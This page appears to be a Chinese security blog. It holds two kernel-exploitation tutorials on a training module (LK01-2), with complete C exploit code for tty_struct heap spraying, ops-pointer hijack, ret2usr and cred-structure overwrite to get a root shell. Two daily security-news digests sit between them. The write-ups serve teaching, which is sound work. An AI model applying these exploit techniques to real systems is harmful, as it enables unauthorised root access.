通过篡改cred结构体实现提权利用
前言
在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。
作者利用任意地址读写分别改写https://h0pe-ay.github.io/%E5%88%A9%E7%94%A8modprobe_path%E6%8F%90%E6%9D%83/以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。
cred结构体
cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。
在cred的结构体存在uid、gid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。
那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。
这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。
prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2 到 arg5。不同的 option 值对应于不同的控制操作。
以下是一些常见的 option 值和它们的用途:
PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。
PR_GET_NAME:获取进程的名称。
PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。
PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。
PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。
PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。
PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。
PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。
PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。
PR_SET_DUMPABLE:设置进程的核心转储状态。
PR_GET_DUMPABLE:获取进程的核心转储状态。
PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。
PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。
ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名
那么利用cred结构体的提权流程如下:
具有任意地址读写的操作
使用prctl函数将进程名设置为关键字
使用任意地址在内核内存中搜索关键字,获取cred结构体的地址
使用任意地址写修改cred结构体标识符的值,全修改为0
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW&
题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。
...
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = 0xaaaaaa;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++)
ioctl(spray[i], 0x1234, 0x5678);
...
正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCX与RSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。
那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。
任意地址读
这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。
搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。
为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。
//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
int aar(unsigned long addr)
{
int result;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aar;
write(fd, buf, 0x500);
if (cache_fd == -1)
{
for (int i = 0; i < 100; i++) {
result = ioctl(spray[i], 0, addr);
if (result != -1)
{
cache_fd = spray[i];
return result;
}
}
}
else
return(result = ioctl(cache_fd, 0, addr));
}
任意地址写
任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"
//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;
void aaw(unsigned long target_addr, unsigned long data)
{
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aaw;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], target_addr, data);
}
}
cred结构体的搜索与改写
首先是将当前进程名设置为一个关键字
prctl(PR_SET_NAME, "h0pe-ay!");
然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。
#从字符串转化为十六进制>>> text = "h0pe-ay!">>> hex_string = text.encode('utf-8').hex()>>> print(hex_string)683070652d617921#从十六进制转化为16进制hex_string = "65703068"bytes_obj = bytes.fromhex(hex_string)print(bytes_obj)
接下来就是搜索内存了,需要注意以下几点
使用小端序进行比较
需要从g_buf地址往前搜索
由于每次只能泄露4字节数据,因此需要泄露两次
在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。
for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8) { if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d) { printf("[+] found!\n"); printf("addr:0x%lx\n", addr); cred_addr = aar(addr - 4); cred_addr = (cred_addr << 32) | aar(addr - 8); printf("cred_addr:0x%lx\n", cred_addr); break; } }
最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可
for (int i = 1; i < 9; i++) aaw(0, cred_addr + i*4);
完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c&
网络安全日报 2023年09月15日
1、俄罗斯记者的苹果手机遭到零点击间谍软件(Pegasus)的攻击
https://thehackernews.com/2023/09/russian-journalists-iphone-compromised.html 俄罗斯著名记者兼政府批评者 Galina Timchenko 的 iPhone 遭到了 NSO Group 的 Pegasus 间谍软件的攻击。据说渗透发生在 2023 年 2 月 10 日左右。目前尚不清楚是谁在设备上部署了恶意软件。在感染期间,她的设备定位于 GMT+1 时区,她报告说她在德国柏林。感染后的第二天,她计划与在欧洲的其他俄罗斯独立媒体负责人一起参加一次私人会议,讨论如何应对普京政权的威胁和审查制度。此次泄露是通过一种名为
2、Rollbar公司披露黑客窃取其访问令牌后导致数据泄露
https://twitter.com/troyhunt/status/1700531521835454502 软件错误跟踪公司 Rollbar 在 8 月初未知攻击者入侵其系统并获得客户访问令牌后,披露了一次数据泄露事件。Rollbar 于 9 月 6 日在审查数据仓库日志时发现了这一安全漏洞,该日志显示服务帐户被用来登录基于云的错误监控平台。一旦进入 Rollbar 的系统,威胁行为者就会在该公司的数据中搜索云凭证和比特币钱包。Rollbar 的后续调查发现,攻击者在 2023 年 8 月9 日至 8 月11日的三天内访问了其系统。在 Rollbar 的服务器内部,他们访问了敏感的客户信
3、研究人员披露Gamaredon组织的基础设施
https://www.silentpush.com/blog/from-russia-with-a-71 Gamaredon(也称为 Primitive Bear、Actinium 或 Shuckworm)是一个俄罗斯高级持续威胁 (APT) 组织,至少自 2013 年以来一直活跃,历史上遍及美国和印度次大陆,最近又在乌克兰,包括据报道对乌克兰发动的攻击西方政府实体。Gamaredon 是一个高度好战的威胁组织,他们与其他 APT 组织使用的标准打了就跑的战术不同,它传播严重混淆且具有独特攻击性的持续攻击。该组织利用鱼叉式网络钓鱼和社会工程来传播隐藏在 MS Word 文档中的恶意软件。一
4、腾讯QQ平台“小世界”版块存在大量色情等违法信息被罚100万
https://www.freebuf.com/news/378038.html 近日,针对腾讯QQ平台“小世界”版块存在大量色情等违法信息,危害未成年人身心健康问题,国家网信办指导广东省网信办,依法约谈腾讯公司相关负责人,依据《未成年人保护法》第一百二十七条,实施行政处罚,责令暂停“小世界”版块信息更新30日,没收违法所得并处100万元罚款。
5、Microsoft警告新的网络钓鱼活动通过Teams消息针对公司
https://thehackernews.com/2023/09/microsoft-warns-of-new-phishing.html Microsoft警告说,初始访问代理将进行新的网络钓鱼活动,该活动涉及使用Teams消息作为诱饵渗透公司网络。
6、以太坊联合创始人Buterin的X帐户在T-Mobile SIM卡交换中被黑客入侵
https://cybernews.com/security/ethereums-buterin-says-x-account-hacked-in-t-mobile-sim-swap/ 以太坊联合创始人Vitalik Buterin表示,有人“通过社会工程”T-Mobile接管了他的电话号码,这足以入侵他的X(Twitter)帐户。
7、斯里兰卡国家政务云被黑,近 4 个月数据丢失
https://www.secrss.com/articles/58734 使用“停服”软件、遭遇勒索软件攻击、缺失数据备份计划,多种因素叠加,导致斯里兰卡政府云系统丢失了近 4 个月的数据。
8、RedLine 和 Vidar 窃取者滥用 EV 证书分发窃密恶意软件和勒索软件
https://www.trendmicro.com/en_us/research/23/i/redline-vidar-first-abuses-ev-certificates.html 威胁行为者正在使用 EV 代码签名证书来分发信息窃取恶意软件和勒索软件,这表明操作的简化和更强大的安全措施的需要。
9、SAP 修补了影响 NetWeaver、S/4HANA 的严重漏洞
https://www.securityweek.com/sap-patches-critical-vulnerability-impacting-netweaver-s-4hana/ 本月发布的 SAP 安全说明中有五项被评为“热点新闻”,这是这家德国软件公司的最高评级。不过,其中三个是之前发布的安全说明的更新。
10、APT36组织利用ElizaRAT恶意软件针对印度政府部门发起网络攻击
https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal 2023 年 7 月,研究人员发现巴基斯坦高级持续威胁组织 (APT36) 持续进行的新恶意活动。APT36 是一个复杂的网络威胁组织,有在南亚开展有针对性的间谍活动的历史。研究人员观察到 APT36 针对印度政府部门使用了以前未记录的 Windows RAT、新的 Linux 网络间谍实用程序、新的分发机制以及针对 Linux 环境的新攻击向量。 APT36 组织使用的自定义 RAT(称为 ElizaRAT)已合并到该组织工具包中。Eli
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月14日
1、新型Go语言窃密木马MetaStealer针对macOS平台发起攻击
https://www.sentinelone.com/blog/macos-metastealer-new-family-of-obfuscated-go-infostealers-spread-in-targeted-attacks/ 在过去的几个月里,研究人员一直在跟踪被命名为MetaStealer木马家族的一系列信息窃密攻击活动,已经观察到的许多 MetaStealer家族样本都存在于在磁盘映像格式(.dmg)中包含的恶意应用程序包中,磁盘映像使用以下名称如“Advertising terms of reference (MacOS presentation).dmg”、“CONCE
2、攻击者利用Remcos远控针对哥伦比亚企业发起大规模钓鱼攻击
https://research.checkpoint.com/2023/guarding-against-the-unseen-investigating-a-stealthy-remcos-malware-attack-on-colombian-firms/ 研究人员近期发现一批针对哥伦比亚多个行业40多家知名公司的大规模网络钓鱼活动,攻击者以紧急通知、逾期债务报告或诱人的报价等欺骗性题材向目标发送恶意电子邮件,通过各种形式的恶意附件文件诱导受害者点击运行,最终在受害者的计算机上谨慎地安装臭名昭著的“Remcos”恶意软件。Remcos是一种复杂远程控制木马,它使攻击者能够完全控制受感染
3、Linux 应用 Free Download Manager 被秘密植入后门三年之久
https://securelist.com/backdoored-free-download-manager-linux-malware/110465/ 研究人员发现一批可疑域名托管名为“Free Download Manager”软件的Debian存储库,该Debian软件包包含受感染的postinst脚本,脚本运行时将两个ELF文件放入路径/var/tmp/crond和/var/tmp/bs,然后创建一个cron任务每隔10分钟启动后门程序/var/tmp/crond。crond后门向C2域名发出A类DNS请求,启动反向shell与C2服务器通信,最后攻击者通过反向shell部署Bas
4、研究人员发现基于Rust语言编写的新型勒索软件
https://thehackernews.com/2023/09/rust-written-3am-ransomware-sneak-peek.html 研究人员在一次安全响应事件中发现了一个名为3AM的新型勒索软件家族,攻击者在尝试于目标网络中部署LockBit(又名 Bitwise Spider或Syphid)失败后部署了该勒索软件。3AM因其在勒索信中被提及而得名,该软件的加密文件附加扩展名为 .Threeamtime,勒索软件在开始加密文件之前会尝试停止受感染计算机上的多项服务如各种安全和备份相关软件,加密完成符合预定义条件的文件后,它会尝试删除卷影 (VSS) 副本。目前尚不清楚
5、微软发布补丁修复两个正被在野积极利用的零日漏洞
https://thehackernews.com/2023/09/microsoft-releases-patch-for-two-new.html 近日微软发布软件修复程序来修复其产品组合中的59个错误,其中包括两个已被恶意网络攻击者积极利用的零日漏洞,分别是CVE-2023-36761(Microsoft Word 信息泄露漏洞,CVSS评分6.2),以及CVE-2023-36802(Microsoft 流服务代理特权提升漏洞,CVSS评分7.8)。微软在公告中表示,利用CVE-2023-36761漏洞可能会泄露NTLM 哈希值,CVE-2023-36802可能会被滥用获取系统权限,目
6、Mozilla 紧急修补 Firefox 和 Thunderbird 中的 WebP 严重零日漏洞
https://www.freebuf.com/articles/377938.html Mozilla 周二发布了安全更新,修复了 Firefox 和 Thunderbird 中的一个关键零日漏洞。该漏洞被标记为 CVE-2023-4863,是 WebP 图像格式中的堆缓冲区溢出漏洞,在处理特制图像时可能导致任意代码执行。Mozilla 在一份公告中说,打开恶意 WebP 图像可能导致内容进程中的堆缓冲区溢出,这个漏洞在其他产品中被广泛利用。
7、空客遭黑客攻击导致数据泄露
https://www.securityweek.com/airbus-launches-investigation-after-hacker-leaks-data/ 空客公司在一名黑客泄露了据称从这家法国航空航天巨头系统中窃取的信息后展开了调查。网络犯罪情报公司 Hudson Rock 周二报道称,一名在线绰号为“USDoD”的黑客本月早些时候在一个网络犯罪论坛上声称,他们入侵了空中客车公司。
8、新的 Kubernetes 漏洞可对 Windows 端点进行远程攻击
https://thehackernews.com/2023/09/alert-new-kubernetes-vulnerabilities.html 可以利用 Kubernetes 中发现的三个相互关联的高严重性安全漏洞,在集群内的 Windows 端点上以提升的权限实现远程代码执行。这些问题编号为 CVE-2023-3676、CVE-2023-3893和 CVE-2023-3955,CVSS 分数为 8.8,影响所有具有 Windows 节点的 Kubernetes 环境Akamai 于 2023 年 7 月 13 日负责任地披露后,于 2023 年 8 月 23 日发布了这些漏洞的修复
9、Adobe发布补丁修补正被在野主动利用的关键安全漏洞
https://thehackernews.com/2023/09/update-adobe-acrobat-and-reader-to.html Adobe于2023年9月星期二发布的补丁更新附带了针对Acrobat和Reader中被攻击者主动利用的关键安全漏洞,该漏洞的编号为 CVE-2023-26369,CVSS评分严重程度为7.8,影响Windows和macOS版的Acrobat DC、Acrobat Reader DC、Acrobat 2020和 Acrobat Reader 2020等软件,该漏洞被描述为越界写入,成功利用该漏洞可能会实现打开特制的PDF 文档来导致远程执行代码,
10、Windows Update 将在4年内逐步禁止第三方打印机驱动
https://learn.microsoft.com/en-us/windows-hardware/drivers/print/end-of-servicing-plan-for-third-party-printer-drivers-on-windows 微软公布了 Windows Update 在四年内逐步禁用第三方打印机驱动的计划,此举旨在增强 Windows 生态系统的安全性,因为影响数以百计型号的打印机驱动漏洞常常被忽视数年之久,给用户造成严重安全隐患。Windows 未来将默认使用新的打印模式,禁用第三方打印驱动。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Linux内核之堆溢出的利用
前言
用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。
内核中的内存分配
有两种类型的计算机并且使用不同的方法管理物理内存
UMA计算机:每个处理器访问内存的速度一直
NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢
首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。
结点进一步划分为多个域,域使用zone_type枚举类型表示。
域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。
虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。
图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl&&,slab大致流程如下。
slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2
module_open
在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
module_read
在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
module_write
在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
堆溢出的利用
由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。
因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct的结构体的大小刚好处于kmalloc-1024的范围内。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
...
} __randomize_layout;
可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。
https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN&&中统计了一下常用的结构体。
由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示
O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端
对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_buf(open模块分配的堆块)的下方
该操作指针中存放着许多函数地址
将该结构体覆盖为无效值
通过ioctl操作触发函数指针
ioctl(spray[i], 0x1234, 0x1234);
ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。
但是单单修改函数表内的函数地址,则会引起崩溃。
崩溃地址正是我们修改的值。
因此梳理一下针对该题堆溢出利用的条件
利用堆喷使得漏洞堆块处于tty结构体堆块的上方
利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址
没有开启保护
经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。
并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。
通过read模块泄露堆地址
...
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
for (int i = 0; i < 0xa0; i++)
printf("[0x%x] 0x%lx\n",i ,p[i]);
...
这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。
泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。
...
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
for (unsigned long i = 0; i < 0x80; i++)
p[i] = i;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
...
可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。
由于题目没有开启任何保护,接下来就是ret2usr即可
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff81074650 T prepare_kernel_cred
0xffffffff810744b0 T commit_creds
*/
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff810744b0;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
//printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启KASLR
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
commit_creds = kernel_base + commit_creds_offset;
__asm(
".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, commit_creds;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启SMAP与SMEP
SMAP与SMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;与mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。
因此需要通过根据这几个寄存器修改栈顶的操作
